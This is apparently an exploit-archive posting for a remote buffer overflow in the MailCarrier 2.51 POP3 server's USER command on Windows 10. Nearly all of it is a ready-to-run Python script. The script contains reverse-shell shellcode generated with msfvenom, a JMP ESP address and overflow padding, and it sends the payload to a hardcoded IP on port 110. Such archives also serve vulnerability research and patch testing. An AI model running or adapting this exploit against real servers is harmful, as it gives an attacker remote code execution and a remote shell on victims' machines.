Win10 MailCarrier 2.51 Buffer Overflow

2019.10.30
Credit: Dino Covotsos
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-119

# Exploit Title: Win10 MailCarrier 2.51 - 'POP3 User' Remote Buffer Overflow # Date: 2019-10-01 # Author: Lance Biggerstaff # Original Exploit Author: Dino Covotsos - Telspace Systems # Vendor Homepage: https://www.tabslab.com/ # Version: 2.51 # Tested on: Windows 10 # Note: Every version of Windows 10 has a different offset ¯\_(ツ)_/¯ #!/usr/bin/python import sys import socket import time #msfvenom -p windows/shell/reverse_tcp lhost=IP_ADDRESS lport=LISYTENING_PORT -b '\x00\xd9' -f python buf = "" buf += "\x2b\xc9\x83\xe9\xaa\xe8\xff\xff\xff\xff\xc0\x5e\x81" buf += "\x76\x0e\xe7\xb4\xfe\x5c\x83\xee\xfc\xe2\xf4\x1b\x5c" buf += "\x7c\x5c\xe7\xb4\x9e\xd5\x02\x85\x3e\x38\x6c\xe4\xce" buf += "\xd7\xb5\xb8\x75\x0e\xf3\x3f\x8c\x74\xe8\x03\xb4\x7a" buf += "\xd6\x4b\x52\x60\x86\xc8\xfc\x70\xc7\x75\x31\x51\xe6" buf += "\x73\x1c\xae\xb5\xe3\x75\x0e\xf7\x3f\xb4\x60\x6c\xf8" buf += "\xef\x24\x04\xfc\xff\x8d\xb6\x3f\xa7\x7c\xe6\x67\x75" buf += "\x15\xff\x57\xc4\x15\x6c\x80\x75\x5d\x31\x85\x01\xf0" buf += "\x26\x7b\xf3\x5d\x20\x8c\x1e\x29\x11\xb7\x83\xa4\xdc" buf += "\xc9\xda\x29\x03\xec\x75\x04\xc3\xb5\x2d\x3a\x6c\xb8" buf += "\xb5\xd7\xbf\xa8\xff\x8f\x6c\xb0\x75\x5d\x37\x3d\xba" buf += "\x78\xc3\xef\xa5\x3d\xbe\xee\xaf\xa3\x07\xeb\xa1\x06" buf += "\x6c\xa6\x15\xd1\xba\xdc\xcd\x6e\xe7\xb4\x96\x2b\x94" buf += "\x86\xa1\x08\x8f\xf8\x89\x7a\xe0\x3d\x16\xa3\x37\x0c" buf += "\x6e\x5d\xe7\xb4\xd7\x98\xb3\xe4\x96\x75\x67\xdf\xfe" buf += "\xa3\x32\xde\xf4\x34\x27\x1c\xec\x59\x8f\xb6\xfe\x5c" buf += "\xf2\x3d\x18\x0c\xb7\xe4\xae\x1c\xb7\xf4\xae\x34\x0d" buf += "\xbb\x21\xbc\x18\x61\x69\x36\xf7\xe2\xa9\x34\x7e\x11" buf += "\x8a\x3d\x18\x61\x7b\x9c\x93\xbe\x01\x12\xef\xc1\x12" buf += "\xb4\x80\xb4\xfe\x5c\x8d\xb4\x94\x58\xb1\xe3\x96\x5e" buf += "\x3e\x7c\xa1\xa3\x32\x37\x06\x5c\x99\x82\x75\x6a\x8d" buf += "\xf4\x96\x5c\xf7\xb4\xfe\x0a\x8d\xb4\x96\x04\x43\xe7" buf += "\x1b\xa3\x32\x27\xad\x36\xe7\xe2\xad\x0b\x8f\xb6\x27" buf += "\x94\xb8\x4b\x2b\xdf\x1f\xb4\x83\x74\xbf\xdc\xfe\x1c" buf += "\xe7\xb4\x94\x5c\xb7\xdc\xf5\x73\xe8\x84\x01\x89\xb0" buf += "\xdc\x8b\x32\xaa\xd5\x01\x89\xb9\xea\x01\x50\xc3\xbb" buf += "\x7b\x2c\x18\x4b\x01\xb5\x7c\x4b\x01\xa3\xe6\x77\xd7" buf += "\x9a\x92\x75\x3d\xe7\x17\x01\x5c\x0a\x8d\xb4\xad\xa3" buf += "\x32\xb4\xfe\x5c" jmpesp = '\x23\x49\xA1\x0F' #buffer = '\x41' * 5093 + jmpesp + '\x90' * 20 + buf + '\x43' * (5096 - 4 - 20 - 1730) #buffer = '\x41' * 5093 + jmpesp + '\x90' * 20 + buf + '\x43' * (5096 - 4 - 20 - 1730) buffer = '\x41' * 5095 + jmpesp + '\x90' * 20 + buf + '\x43' * (5096 - 4 - 20 - 1730) #buffer = '\x41' * 5097 + jmpesp + '\x90' * 20 + buf + '\x43' * (5096 - 4 - 20 - 1730) #buffer = '\x41' * 5099 + jmpesp + '\x90' * 20 + buf + '\x43' * (5096 - 4 - 20 - 1730) print "[*] MailCarrier 2.51 POP3 Buffer Overflow in USER command\r\n" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect=s.connect(("192.168.121.87", 110)) print s.recv(1024) s.send('USER ' + buffer + '\r\n') print s.recv(1024) s.send('QUIT\r\n') s.close() time.sleep(1) print "[*] Done, but if you get here the exploit failed!"


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